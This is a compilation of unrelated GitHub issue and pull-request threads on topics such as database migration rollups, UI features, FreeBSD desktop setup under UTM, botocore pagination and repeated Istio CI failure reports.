(PDB-2078) Rethink migrate.clj

There are three commits in this PR. The first puts in place some test code that allows some basic comparison of the database schema.
The second commit adds a new "rolled up" migration that includes migrations 1-28 (all existed prior to 3.0.0). This was obtained by running the first 28 migrations, using pg_dump to get the schema, then putting that in the migrate.clj (after cleaning it up a bit). There is also a test in that commit that ensures the new rolled up migration is identical (schema-wise) to the old set of migrations.
The final commit removes the old migrations (and the rolled up test) along with the associated migrate legacy code.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-enterprise.delivery.puppetlabs.net/job/enterprise_puppetdb_init-multijob_githubpr-master/184/
Test PASSed.

So I think we should be wary about what happens when you try to run this code from say, migration 24, when there is no path between 24 and 28. I would argue this should fail badly, with some meaningful thing about "upgrade to here, before using this code blah blah".

@kbarber I added some validation on upgrade path. It fails now if it finds an older migration than is supported.

Refer to this link for build results (access rights to CI server needed):
http://jenkins-enterprise.delivery.puppetlabs.net/job/enterprise_puppetdb_init-multijob_githubpr-master/185/
Test PASSed.

Here is my naive diff, with & without this patch: https://gist.github.com/kbarber/2bff01c3888294b364c5

Is that good?

@senior yes, its good :-). All the differences are expected.

lgtm, just the one question.

@mullr @kbarber whew, that was rough. We were pretty sloppy on our 3.0.0 migrations. They're rolled up in the latest push. I needed to add some better output to the testutils diffing code to help me keep tabs on what things I missed in the rollup. It's clean and should be the same (just like before) up to migration 34, which was the last migration in 3.0.0

    ADD CONSTRAINT edges_certname_fkey FOREIGN KEY (certname) REFERENCES certnames(certname) ON DELETE CASCADE``` lost ``ON UPDATE NO ACTION```, but that seems like it's probably the default anyway. otherwise lgtm.

@mullr right
NO ACTION
Produce an error indicating that the deletion or update would create a foreign key constraint violation. If the constraint is deferred, this error will be produced at constraint check time if there still exist any referencing rows. This is the default action

Refer to this link for build results (access rights to CI server needed):
http://jenkins-enterprise.delivery.puppetlabs.net/job/enterprise_puppetdb_init-multijob_githubpr-master/219/
Test PASSed.


Alignment

Hi,
What if I want to show button from right to left ? I mean the position of handling beginning from right then add another buttons to left

Hi @haxinc! You can control how the input options appear by adding them in the desired order.


feat(HMS-3386): add blueprints initial layout

This PR adds an initial layout for the blueprints feature.
It uses the /experimental endpoint for fetching real blueprints from stage.
https://github.com/RedHatInsights/image-builder-frontend/assets/11807069/19690de5-81a3-4fb8-9002-6b015c6bf5f5

Nice work so far Amir, thank you. I'm going to give this a closer look tomorrow and may have some additional feedback before approving, but so far my only comments are small nitpicks just related to keeping the style consistent with the rest of the code base.
As you can see, I would prefer to avoid CSS and using the className prop to the greatest extent possible. :sweat_smile:

/retest

/retest


Current Coinb.in Playground not resolving TXREF, possible Explorer problem?

The three example, and old TXREF xyv2-xzyq-qqm5-tyke should at least resolve to the implicit DDO.
However, the current the coinb.in playground stalls. Could be the link to the explorer? We may want to move to Blockstream.info as there is no API key required there.
-- Christopher Allen

The call to the btcrDidUtils.js script is causing an error here.  I've fixed that and published the site at https://hawkmauk.github.io/btcr-tx-playground.github.io/ but am getting some cross-site scripting errors that are being caused by btcrDidUtils.js.
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://api.blockcypher.com/v1/btc/test3/blocks/1152194?txstart=1&limit=1. (Reason: missing token ‘user-agent’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel).
@kimdhamilton did you encounter this with the previous version of the site?

I vaguely recall she hit rate limits. Blockstream.info currently has no rate limits

I think I've found the root of the issue.  There is a variable called unsafeHeaders that should include 'user-agent'.  This is in the btcrDidUtils.js file and looks to be pulled in from another package when it's browserified.  I'll put a workaround in and see if it can be fixed upstream.

#34 has been merged with the fixes for this.  Can you verify and then close if your happy it's been resolved please.


fix(user settings): inverted logic on confirm account deletion

#146  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @NathanFlurry and the rest of your teammates on  Graphite


Google Pixel battery drains quickly

Before running a 5K race I saw 90% of the power remained. After the race in just about half an hour, I found Pixel's battery was already 50%, which is too much of usage.

Can't find an official way to replace the battery for Pixel.
Not sure if these take an effect, but I did the following:

Remove 5GB space on the device by removing files that are already synced on cloud, and removed some apps. I guess these don't effect as those files were on ROM, not RAM that uses power.

Btw I might have to wait for another year or so to buy a new phone. Google Pixel 3 Lite doesn't sound like what I want as it's not full edge model https://m.androidcentral.com/pixel-3-lite-will-be-googles-most-important-phone-2019

These days rate of drain has become unbearably quick. The phone loses 50% of power just after 2 hours of jogging with activity tracking app (Strava).
Will do factory reset following bell.ca.

Will do factory reset following bell.ca.

The way in that page took a screenshot without leading to reset mode.
Followed
https://support.google.com/pixelphone/answer/4596836?hl=en

1 day after factory reset, I still see the phone easily discharges 40% 2 hours after taken off from the charging cable.
Maybe I should do more research. Figuring out if there are any apps that consume much might help.

I'm not planning to fix this particular issue.

Now that I found a repair service who can replace Pixel 4's battery https://github.com/130s/hut_10sqft/issues/557, it might be worth trying. Pixel might be still nice to have device particularly to try out some older stuff like ROS Tango Streamer http://wiki.ros.org/tango_ros_streamer

try out some older stuff like ROS Tango Streamer http://wiki.ros.org/tango_ros_streamer

Btw Tango isn't available on Pixel (it is on Lenovo Phab 2 pro).

(And speaking of Tango Streamer on newer Google's phone that come with ARCore, no migration hasn't happened yet https://github.com/Intermodalics/tango_ros/issues/378)

https://github.com/130s/hut_10sqft/issues/428 is more critical. Consolidating this ticket with it.


Set Thermostat crashs adapter

What happened?

What did you expect to happen?
no error
How to reproduce it (minimal and precise)
Set zigbee2mqtt.0.0x0c4314fffe5c68a3.monday_hour_1 to 00
Device: https://www.zigbee2mqtt.io/devices/368308_2010.html#lidl-368308_2010
Adapter version
2.13.3
Adapter Config Log
==================================================================================
|| Network panid 6754 channel: 11 ext_pan_id: 0x00124b0018e870e8
|| Coordinator type: zStack3x0 Version: 20230507 Serial: /dev/ttyUSB0
|| Zigbee2MQTT Version: 1.33.1
============================ Zigbee2MQTT Information =============================
Connect to Zigbee2MQTT over external mqtt connection.
|| Coordinator Check Cron : 0 3 * * *
|| Coordinator Check Loglevel: info
|| Use Automatic Coordinator Check: no
|| Use Simple Press/Release State: no
|| Use Simple Move/Stop State: no
|| Use Simple Hold/Release State: no
|| Use Device Icons: yes
|| Use Event In Desc: yes
|| Use BrightnessStep OnOff: no
|| Use BrightnessMove OnOff: no
|| Use ColorTemperature ColorSync: no
|| Use Kelvin: no
|| Proxy Zigbee2MQTT Logs to ioBroker Logs: deactivated
|| Zigbee2MQTT Debug Log: deactivated
|| Zigbee2MQTT Externanl MQTT Credentials: use
|| Zigbee2MQTT Externanl MQTT Port: 1883
|| Zigbee2MQTT Externanl MQTT Server: <IP_ADDRESS>
|| Zigbee2MQTT Connection Type: exmqtt
|| Zigbee2MQTT Frontend Port: 80
|| Zigbee2MQTT Frontend Server: <IP_ADDRESS>
|| Zigbee2MQTT Frontend Scheme: http
================================= Adapter Config =================================

👍


Feature request  - output the Github attestation page URL

Currently the action is able to output the sigstore bundle path.
Please also add the attestation URL as an output.
For example: https://github.com/mendhak/gpslogger/attestations/2943251

Wonderful, thank you!

Feature added in v2.1.0 release.


Improving logging - model binding

Related to issue #6498: When enabling "Trace" logging for MVC loggers, I should be buried in log messages

Stopping as I've realized significantly less would need to change if ModelBinderContext exposed a public virtual ILoggerFactory property. Do this in ModelBinderProviderContext instead if either logger creation is fairly expensive or a provider does some logging itself

I'm really not a fan of this idea. We don't generally use contexts to provide access to services (yes, I realise the MBC has the IModelMetadataProvider). We should make it easier to use DI in a MBP

We should make it easier to use DI in a MBP

I don't hate this but there's a number of constraints on "easier" since the MBPs are instantiated while configuring options. Doing something like adding a list of MBP Types to MvcOptions would be a significant breaking change. @rynowak are you suggesting we take the service locator hit and add IServiceProvider to ModelBinderProviderContext?


Fixed condition where typewriteComplete would never fire.

The {speed: X} action doesn't decrement 1 from the queue, so typewriteComplete would never fire. Fixed this bug (Which you already made progress on fixing - Thanks).

Thanks!!


FreeBSD 14.0 virtualized by UTM can't launch any desktop environment

Describe the issue
FreeBSD 14.0 virtualized by UTM can't launch any desktop environment.
No such problem instead with FreeBSD 13.x
I tried to start gnome, KDE-plasma, or XFCE. None can't be started. They all stop with an error when attempting to launch the X server.
I tried to start Wayland + sway with
sway -c .config/sway/config
The error message is
[wlr] [backend/backend.c:217] Found 0 GPUs, cannot create backend.
I tried both to upgrade from a working FreeBSD 13.2 VM, and to configure a new FreeBSD 14.0 VM starting from the .iso. Both have the same issue.
Configuration

UTM Version: 4.4.5
macOS Version: 14.1.2
Mac Chip : M1

@ManoloFLTK how did you make it work on FreeBSD 13.2 , can you please share steps and configuration?

@imrohitkumar Thanks for your question. I'll try to repeat the procedure here and describe it to you. Exactly, I initially created a FreeBSD 13.1 UTM VM, and later updated it (inside the running VM) to 13.2.

@ManoloFLTK correct me if I am wrong, so you set it up with freebsd 13.1 arm, then installed Xorg and maybe gnome, enabled them in rc.conf and then restart, it booted in gui Right ?

Yes that's what I did.

Here is the complete procedure to create a FreeBSD13.3 VM under UTM on my M1 MacBook Pro
get installer image from
http://ftp.freebsd.org/pub/FreeBSD/snapshots/arm64/aarch64/ISO-IMAGES/13.3/
use FreeBSD-13.3-STABLE-arm64-aarch64-20240411-54030e8a5df5-257695-disc1.iso
create new UTM VM
other
8MB memory
disk 64GB
no shared folder
Name: FreeBSD15

first boot
1 Boot installer
Install
select keyboard layout
disk partition: Auto (UFS)
Install
Stripe
select vtbd0, OK
YES, Enter
enter root password: root
network: OK
Clock: No
Region:
Date/Time
Boot-time services: Ok
Hardening: Ok
Add users: Yes
Username: darwin
full Charles Darwin
Uid: <empty>
Password: Charles

Final config: Exit
choose "Reboot"

close macOS window when new boot begins

Edit in UTM mac app the new VM's settings:
-move VirtIO to 1st position
-remove .iso from cdrom

Boot new VM
login to root/root

pkg bootstrap
pkg install xorg urwfonts plasma5-plasma konsole sudo sddm

sysrc dbus_enable="YES"
sysctl net.local.stream.recvspace=65536
sysctl net.local.stream.sendspace=65536

logout
login to darwin/Charles

echo "exec dbus-launch --exit-with-x11 ck-launch-session startplasma-x11" > ~/.xinitrcstartx
startx

and the KDE desktop runs.
Unfortunately, I don't succeed to install the gnome desktop again with 13.3
I've also tried with the more recent FreeBSD 15.0 and find the same problem as with 14.0.

I'm having a similar issue with FreeBSD 15 current. I'm trying to use Xfce with startx. Xorg fails to start with the error "xauth: timeout in locking authority file /Users/joshua/.Xauthority".
I changed the virtual gpu from virtio-ramfb to virtio-ramfb-gl for hardware acceleration, but otherwise it has all of the same defaults that UTM sets. I installed xf86-video-scfb for the driver in FreeBSD.


fix(app): fix protocol run event tracking

Overview
Add event tracking to run protocol events (pause, resume, start, cancel, run again, finish)
Closes #10749

Changelog

added tracking to run protocol events

Review requests
Confirm that events fire. I've added a few questions to this draft regarding event properties and the finish run event.

Risk assessment
Low

The finish run event is tricky, now that it doesn't fire from the redux middleware, it should be at a high enough level so navigating through pages doesn't prevent the event from firing. But if I try to read the currentRunStatus from App, it is undefined. Any advice on this event are appreciated

The finish run event is tricky, now that it doesn't fire from the redux middleware, it should be at a high enough level so navigating through pages doesn't prevent the event from firing. But if I try to read the currentRunStatus from App, it is undefined. Any advice on this event is appreciated.

per standup discussion we will fire this event where dismiss run events are handled


Support strings as children

This adds support for translating the following schema into markup like
This paragraph has a link inside it.
.
{
  component: 'p',
  children: [
    'This paragraph has ',
    {
      component: 'a',
      href: 'http://google.com',
      text: 'a link'
    },
    ' inside it'
  ]
}

It seems like this kind of thing should definitely be supported since React supports it as seen in this Babel REPL link.
The question it raises is what about the "special" text property? Should it be removed or should both formats be supported?
Happy to add tests and stuff if you want to accept this change.

This looks good. I think it'd make sense to move away from text, but for now we should support both. A strategy can be made for deprecating text, such as printing console warnings and having a planned release for dropping it.
Could you add tests? I can merge after that.

Just a heads up that I don't think I'll be fleshing this out. Jasmine appears to swallow console.log statements in the code under test, which makes debugging super difficult.

@bclinkinbeard While I was working on a test, I had some thoughts. I understand your reasoning for wanting this feature, but the intention of react-json-schema is to accept JSON.

This library constructs React elements from JSON by mapping JSON definitions to React components that you expose.

It's less about being an alternative API for React's createElement. We chose to build our tool this way so we can feature schema validation.
I see you've already forked react-json-schema for your own use, which I think is for the best. I did get a test working around our planned 1.1.0 release integrated with this concept, in case you want to use that. You can fork it here: https://github.com/TechniqueSoftware/react-json-schema/tree/patch-1-a
I'm still open to ideas or suggestions, but for now I'm closing this issue.


Remove @feltjs/eslint-config to fix build

Description of change
Sems like @feltjs/eslint-config doesn't exist anymore. Not sure if it was even used in this Project, I would have expected that you have to import it in some config. So if we never used it, we can just merge this.
If we used it, there seems to be a new version by the same maintainer here, but it only works with svelte >=4 and some other changes. But maybe we could just copy the config if we really need it. I will leave that up to you.
Type of change

Bug fix (a non-breaking change which fixes an issue)

How the change has been tested
Run locally. Output seems to be the same.
Change checklist

[x] I have followed the contribution guidelines for this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas

I just realised that this is probably how you import the feltjs config?
Should I just replace it by copying the "new" config from ryanatkn (I suppose it is the same or similar)?


Clean up

Rewriting a lot of code for improved stability.

Using POSTDISPLAY instead of LBUFFER and RBUFFER.
Removing pause/suspend/resume state management code.
Removing unused server/client code.

See issue #86.
TODO

[ ] Remove suggestion (POSTDISPLAY) on ctrl-c. [Not sure how to do this. Ideas?]
[x] Fix syntax highlight coloring.
[ ] Display suggestion again after navigating history.

After pressing up and then down, should display the same autosuggestion it originally did.

[ ] Multi-line support

Such wow

@tarruda can @ericfreese please have collaborator access?

@ericfreese added as collaborator, thanks for the contributions

Thank you @tarruda! And thanks for neovim :) been using it daily for many many months.

Thanks @tarruda
It's in a pretty stable place now with syntax highlighting working. Would be great if you could pull it down and play around with it. I'm going to be out of town through the end of the weekend, but should be able to get back to this next week.

I'll install it and report back if anything goes crazy

I'd like to go ahead and merge this into master. It's looking pretty solid to me. Any objections?
I was planning to keep the current master branch available via a separate branch so people can always use the current version if necessary.

Closed. See PR #91.


[Bug]: signup page not working in login page

Is there an existing issue for this?

[X] I have searched the existing issues

What happened?
in login page ,sign up option is not working
so,
i added signup page and refered its link in login page
i created a pull request
try to give level 3
thanks
Add Screenshots
https://github.com/user-attachments/assets/2f545b52-7dbb-49ee-91f0-3d7446f17d26
What browsers are you seeing the problem on?
No response
Record

[X] I agree to follow this project's Code of Conduct
[X] I'm a GSSOC contributor
[X] I want to work on this issue
[X] I'm willing to provide further clarification or assistance if needed.

yes


fix(e6): min and max temp should be list[int]

Summary by CodeRabbit

New Features

Enhanced get_attribute method to support returning a list of integers, in addition to existing return types.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 24.33%. Comparing base (38a3fd0) to head (5f2d897).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #172   +/-   ##
=======================================
  Coverage   24.33%   24.33%
=======================================
  Files          78       78
  Lines        6794     6794
=======================================
  Hits         1653     1653
  Misses       5141     5141

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Deal with quaternions

Working on it.

What is the issue?

Allow the user to use a model with quaternion joints.


Fixed minor typo in README.markdown

This peculiar situation is crazier than a bag of cats sorry-excuse of a hooman!


fromCharacterToBinary is not found in network.py file

can you add back "fromCharacterToBinary" funciton back?
thanks

that code is left over from a previous project, please see the original file, the repo that that came from, and the full project.


[FEATURE] - Allow for specifying the organization id in the configuration

Allow the organizationId to be specified in the configuration. See https://platform.openai.com/docs/api-reference/organization-optional
Right now there is no way to specify this.

Filed an upstream issue: https://github.com/ai-for-java/openai4j/issues/6

Submitted PR to upstream: https://github.com/ai-for-java/openai4j/pull/7

#364 submitted


result_keys or result_keys_iter

Can anyone provide a use-case for the result_keys method?
I am porting botocore to asyncio; while most methods are just line-by-line conversions, changing 'obj.method()' to 'yield from obj.method()', the use of iterators in the original requires some re-architecting.   Asyncio coroutines repurpose the yield mechanism, so you can't 'yield [meaningful value] 'from a coroutine.
Converting iterators would take one of two forms:

preload all the async data, and return a regular list iterator.
change iterator to an archaic-seeming 'while r: r = yield from obj.next()' type iterator.

The first allows maintaining the user's code sequencing, at the cost of (possibly extreme) slowness.
The second requires the user to change their code, but allows iterative or partial downloading.
A use-case or two for the result_keys methods would help in deciding on an approach.
David

@rdbhost
result_keys method is to get the result_keys from the pagination model. So here is s3's pagination model: https://github.com/boto/botocore/blob/develop/botocore/data/aws/s3/2006-03-01.paginators.json. It pretty much says what element in the response we are paginating for. So for ListObjects we are paginating for CommonPrefixes and Contents (which are the keys).
result_keys_iter Allows use to return iterators for the values of the result_keys in the response. Note that since you can have more than one result_keys in the model, you can have more than one iterator returned by this method (one for each result_key).
As to choosing one iterator conversion over the other, we will think about it and get back to you. Just wanted to at least answer your initial question.

If (1) is only preloading a single response and not the entire aggregation of all response pages, then I think 1 seems fine.  However if (1) is preloading all of the response pages first, then I would suggest against that approach.  That has potentially to be really large.
Please let us know if you have any more questions.


Fix inventory collection deserialization

The Additional inventory collection type validation breaks client
deserialization, this is a temporary fix to allow for proper
deserialization.

cc @Ladas


Fixing the helm templates to support Control Plane SDS (#16466)

support control plane SDS

test control plane SDS

revise

revise

revise

set env

revise

revise

revise

revise

revise

revise

template change for SDS control plane

revise

update

fix unit tests

fix tests

enable control plane SDS

Please provide a description for what this PR is for.
And to help us figure out who should review this PR, please
put an X in all the areas that this PR affects.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

manually create a PR that cherry-picks https://github.com/istio/istio/pull/16466

/cc @myidpt

@JimmyCYJ: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rlenglet
The auto-cherrypick failed: https://github.com/istio/istio/pull/16466

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-mixer-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-mixer-k8s-presubmit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-mixer-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-mixer-k8s-presubmit-tests-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-mixer-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-mixer-k8s-presubmit-tests-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-mixer-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-mixer-k8s-presubmit-tests-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

integ-mixer-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-mixer-k8s-presubmit-tests-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

The unit tests fail because https://github.com/istio/istio/pull/16462 is cherry-picked into 1.3 branch, which changes auth_golden.json and running_golden.json. I have to update authsds_golden.json and runningsds_golden.json accordingly.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-unit-tests-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-racetest-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-racetest-release-1.3

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test istio-unit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

istio-unit-tests-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test istio-racetest-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@JimmyCYJ: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

istio-codecov-release-1.3
4b534ea8da2d993891f531e7fabc6d14a2307779
link
/test istio-codecov-release-1.3

istio-unit-tests-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test istio-unit-tests-release-1.3

istio-racetest-release-1.3
1551454398dc4394910cca7c1dd4b19054d68745
link
/test istio-racetest-release-1.3

integ-new-install-k8s-presubmit-tests-release-1.3
b5cde27449239a67a30d5fac9414f85af8f9151b
link
/test integ-new-install-k8s-presubmit-tests-release-1.3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Proposal: Branching strategy for meta-iotedge

Proposal
Please reply with any feedback / questions before February 25th, 2022.
Track only the most recent stable and LTS releases of yocto.
Track the last stable of IoT Edge and all active LTS releases (simultaneous max is 2).

Active branches
Yocto
IoT Edge
Example

main
Latest stable
Latest stable (e.g. v1.2.x)
main

{yocto LTS}
Latest LTS
Latest stable (e.g. 1.2.x)
dunfell

{yocto LTS}-{IoT Edge LTS}
Latest LTS
Latest LTS (i.e. 1.1.x)
dunfell-1.1

Examples
The table below is how the branching would appear if: 1) the above strategy was already in use then a new yocto LTS released (Kirkstone) and then subsequently there was a new IoT Edge LTS (hypothetically a v1.3).

Today
new yocto LTS (i.e. Kirkstone)
new IoT Edge LTS (e.g. 1.3)

main
Yocto target: Honistor
IoT Edge recipes: v1.2
dunfell
IoT Edge recipes: v1.2
dunfell-1.1
IoT Edge recipes: v1.1

main
Yocto target: Kirkstone
IoT Edge recipes: v1.2
dunfell
still available, not maintained
dunfell-1.1
still available, not maintained
kirkstone
branched from main
IoT Edge recipes: v1.2
kirkstone-1.1
branched from kirkstone
IoT Edge recipes: v1.1

main
Yocto target: Kirkstone
IoT Edge recipes: v1.3
dunfell
still available, not maintained
dunfell-1.1
still available, not maintained
kirkstone
branched from main
IoT Edge recipes: v1.3
kirkstone-1.1
active until 1.1 EOL (Dec '22)
branched from kirkstone
IoT Edge recipes: v1.1
kirkstone-1.3
branched from kirkstone
IoT Edge recipes: v1.3

Commenting so I get notifications on this issue. We are interested to hear public feedback.

@sindelar-fr thanks for asking.  Yes, only applies to the LTS.  So at most there might be 3 in total (two LTS releases and the one current feature release) until the older LTS hits EOL and then just the two remain (one LTS and the latest feature release).

Is there any update on above proposal?

@vish74 given reactions my read on the proposal is that there aren't major concerns.  Next step would be for us to snap to that structure.
Of course, creating a branch is easy.  But what I don't know to inform a timeline is how big the delta would be to move the main branch to the most recent Yocto release and what would be needed for Kirkstone once it releases.
What I do know at the moment is that @darobs is juggling multiple things.  :)  So I'll defer to him on when he expects to have cycles considering his other priorities.  And, if there are easy opportunities for others to pitch in.

Thanks @micahl
Hi @darobs are you planning 1.2.x anytime soon? One of our project and development depends on integration with 1.2 IoTEdge. I noticed 1.2.8 of IoTEdge is also released, which captures good amount of bug fixes.
Also, thank you for all the work :) Looking forward to an update in repo.

